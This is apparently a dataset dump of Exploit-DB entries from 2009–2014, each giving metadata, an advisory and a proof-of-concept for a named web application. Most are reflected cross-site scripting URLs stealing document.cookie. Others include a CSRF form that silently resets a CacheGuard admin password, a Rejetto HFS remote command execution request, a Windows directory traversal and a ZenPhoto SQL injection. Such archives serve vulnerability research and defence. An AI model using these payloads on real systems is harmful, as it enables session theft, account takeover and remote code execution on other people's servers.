QLWD/code_shield huggingface dataset:
标题: @Mail 6.1.9 - 'MailType' Cross-Site Scripting EDB-ID: 34690 CVE: 2010-4930 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/43377/info

@Mail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

@Mail 6.1.9 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php/mail/auth/processlogin?emailName=&lt;emailName&gt;&amp;emailDomain=&lt;emailDomain&gt;&amp;cssStyle=original&amp;email=&lt;email&gt;password=&lt;password&gt;&amp;requestedServer=&amp;MailType=&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/34690
标题: WebStatCaffe - '/stat/referer.php?date' Cross-Site Scripting EDB-ID: 34679 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info
     
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/webstat/stat/referer.php?date=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34679
标题: WebStatCaffe - '/stat/pageviewerschart.php?date' Cross-Site Scripting EDB-ID: 34678 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info
    
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/webstat/stat/pageviewerschart.php?date=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34678
标题: WebStatCaffe - '/stat/visitorduration.php?nodayshow' Cross-Site Scripting EDB-ID: 34675 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info
 
Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/webstat/stat/visitorduration.php?nodayshow=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34675
标题: WebStatCaffe - '/stat/mostvisitpage.php?nodayshow' Cross-Site Scripting EDB-ID: 34674 CVE: 2009-4717 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43339/info

Gonafish WebStatCaffe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/webstat/stat/mostvisitpage.php?nopagesmost=10&nodayshow=1>&#039;><ScRiPt %0A%0D>alert(409241484347)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34674
标题: CacheGuard-OS 5.7.7 - Cross-Site Request Forgery EDB-ID: 34672 CVE: 2014-4865 类型: WEBAPPS 平台: LINUX 发布日期: 2014-09-15 漏洞利用脚本: I. VULNERABILITY

-------------------------

CSRF vulnerabilities in CacheGuard-OS v5.7.7

II. BACKGROUND

-------------------------

CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.



III. DESCRIPTION

-------------------------

Has been detected a CSRF  vulnerability in CacheGuard in
"/gui/password-wadmin.apl"



IV. PROOF OF CONCEPT

-------------------------

The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".



<html>



<body onload="CSRF.submit();">

<br>

<br>



<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">

<input name="password1" value="admin@1234" type=hidden> </input>

<input name="password2" value="admin@1234" type=hidden> </input>

</form>



</body>

</html>



V. BUSINESS IMPACT

-------------------------



CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.



VI. REQUIREMENTS

-----------------------

An Attacker needs to know the IP of the device.

An Administrator needs an authenticated connection to the device.



VII. SYSTEMS AFFECTED

-------------------------

Try CacheGuard-OS v5.7.7



VIII. SOLUTION

-------------------------

All functions must be protected by CSRF-Tokens.

http://www.kb.cert.org/vuls/id/241508

By William Costa
william.costa no spam gmail.com URL: https://www.exploit-db.com/exploits/34672
标题: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) EDB-ID: 34668 CVE: 2014-6287 类型: REMOTE 平台: WINDOWS 发布日期: 2014-09-15 漏洞利用脚本: # Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas


function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;


it will not handle null byte so a request to

http://localhost:80/?search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.


## EDB Note: This vulnerability will run the payload multiple times simultaneously. 
##   Make sure to take this into consideration when crafting your payload (and/or listener). URL: https://www.exploit-db.com/exploits/34668
标题: x10 MP3 Automatic Search Engine 1.6.5b - 'info.php?name' Cross-Site Scripting EDB-ID: 34661 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
     
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/info.php?name="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34661
标题: x10 MP3 Automatic Search Engine 1.6.5b - 'embed.php?name' Cross-Site Scripting EDB-ID: 34660 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
    
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/embed.php?name="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34660
标题: x10 MP3 Automatic Search Engine 1.6.5b - 'video_listing.php?key' Cross-Site Scripting EDB-ID: 34659 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
   
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/video_listing.php?category=[NB]&sort=[NB]&key=[XSS] URL: https://www.exploit-db.com/exploits/34659
标题: x10 MP3 Automatic Search Engine 1.6.5b - '/adult/video_listing.php?key' Cross-Site Scripting EDB-ID: 34663 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
       
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
       
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/adult/video_listing.php?category=42&sort=2&key="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34663
标题: x10 MP3 Automatic Search Engine 1.6.5b - 'lyrics.php?id' Cross-Site Scripting EDB-ID: 34662 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
      
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/lyrics.php?id="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34662
标题: x10 MP3 Automatic Search Engine 1.6.5 - '/includes/video_ad.php?pic_id' Cross-Site Scripting EDB-ID: 34656 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info

x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/video_ad.php?pic_id=[XSS] URL: https://www.exploit-db.com/exploits/34656
标题: Silurus Classifieds - 'wcategory.php?ID' Cross-Site Scripting EDB-ID: 34644 CVE: 2009-4983 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43278/info
 
Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wcategory.php?ID="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34644
标题: Silurus Classifieds - 'search.php?keywords' Cross-Site Scripting EDB-ID: 34645 CVE: 2009-4983 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43278/info
  
Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?go=1&keywords="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34645
标题: x10 MP3 Automatic Search Engine 1.6.5b - '/templates/header1.php?id' Cross-Site Scripting EDB-ID: 34658 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
  
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/templates/header1.php?id=[XSS] URL: https://www.exploit-db.com/exploits/34658
标题: x10 MP3 Automatic Search Engine 1.6.5 - 'linkvideos_listing.php?category' Cross-Site Scripting EDB-ID: 34657 CVE: 2009-3153 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/43336/info
 
x10 Media Automatic MP3 Search Engine is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
x10 Media Automatic MP3 Search Engine 1.6.5 is vulnerable; other versions may also be affected. 

http://www.example.com/linkvideos_listing.php?category=[XSS] URL: https://www.exploit-db.com/exploits/34657
标题: Netautor Professional 5.5 - 'login2.php' Cross-Site Scripting EDB-ID: 34649 CVE: 2010-3489 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/43290/info

Netautor Professional is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Netautor Professional 5.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/netautor/napro4/home/login2.php?goback=%22%3Cscript%3Ealert%28document.location%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34649
标题: Mollify 1.6 - 'index.php' Cross-Site Scripting EDB-ID: 34640 CVE: 2010-3462 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/43262/info

Mollify is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mollify 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/mollify/backend/plugin/Registration/index.php?confirm=%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/34640
标题: Silurus Classifieds - 'category.php?ID' Cross-Site Scripting EDB-ID: 34643 CVE: 2009-4983 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43278/info

Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/category.php?ID="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34643
标题: Multi Website 1.5 - 'search' HTML Injection EDB-ID: 34632 CVE: 2009-3162 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43245/info

Multi Website is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Multi Website 1.5 is vulnerable; other versions may also be affected.

http://www.example.com/demo/?action=search&search=%27%22%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E%3CMARQUEE+BGCOLOR%3D%22RED%22%3E%3CH1%3EXss%3C%2FH1%3E%3C%2FMARQUEE%3E&gateway=%E4%E3%D8+%C7%E1%C8%CD%CB&by=words URL: https://www.exploit-db.com/exploits/34632
标题: Multple I-Escorts Products - 'escorts_search.php' Cross-Site Scripting EDB-ID: 34634 CVE: 2009-4864 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/43249/info

Multiple I-Escorts products are prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

I-Escorts Directory Script and I-Escorts Agency Script are vulnerable. 

http://www.example.com/demos/escorts-agency/escorts_search.php => Your XSS URL: https://www.exploit-db.com/exploits/34634
标题: Axigen Webmail 1.0.1 - Directory Traversal EDB-ID: 34622 CVE: 2010-3460 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/43230/info

Axigen Webmail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Axigen Webmail 7.4.1 is vulnerable; other versions may be affected. 

http://www.example.com/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini URL: https://www.exploit-db.com/exploits/34622
标题: PaysiteReviewCMS 1.1 - 'search.php' Cross-Site Scripting EDB-ID: 34619 CVE: 2010-4909 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/43213/info

Mechanical Bunny Media PaysiteReviewCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mechanical Bunny Media PaysiteReviewCMS 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/search.php?q=[XSS] URL: https://www.exploit-db.com/exploits/34619
标题: Elkagroup Elkapax - 'q' Cross-Site Scripting EDB-ID: 34616 CVE: 2009-2930 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/43131/info

Elkagroup Elkapax is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/?q=<script>alert(123)</script>&mode=2 URL: https://www.exploit-db.com/exploits/34616
标题: ZenPhoto 1.3 - '/zp-core/full-image.php?a' SQL Injection EDB-ID: 34610 CVE: 2010-4906 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/43021/info

Zenphoto is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zenphoto 1.3 is vulnerable; other versions may also be affected.

/zenphoto_1_3/zp-core/full-image.php?a=%24%7binjecthere%7d&i=system-bug.jpg&q=75 URL: https://www.exploit-db.com/exploits/34610
标题: Omnistar Recruiting - 'resume_register.php' Cross-Site Scripting EDB-ID: 34618 CVE: 2009-4991 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/43163/info

Omnistar Recruiting is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/users/resume_register.php?job2=%3E%3Cscript%3Ealert%281%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34618
标题: PaysiteReviewCMS - 'image.php' Cross-Site Scripting EDB-ID: 34620 CVE: 2010-4909 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/43213/info
 
Mechanical Bunny Media PaysiteReviewCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Mechanical Bunny Media PaysiteReviewCMS 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/image.php?image=[XSS] URL: https://www.exploit-db.com/exploits/34620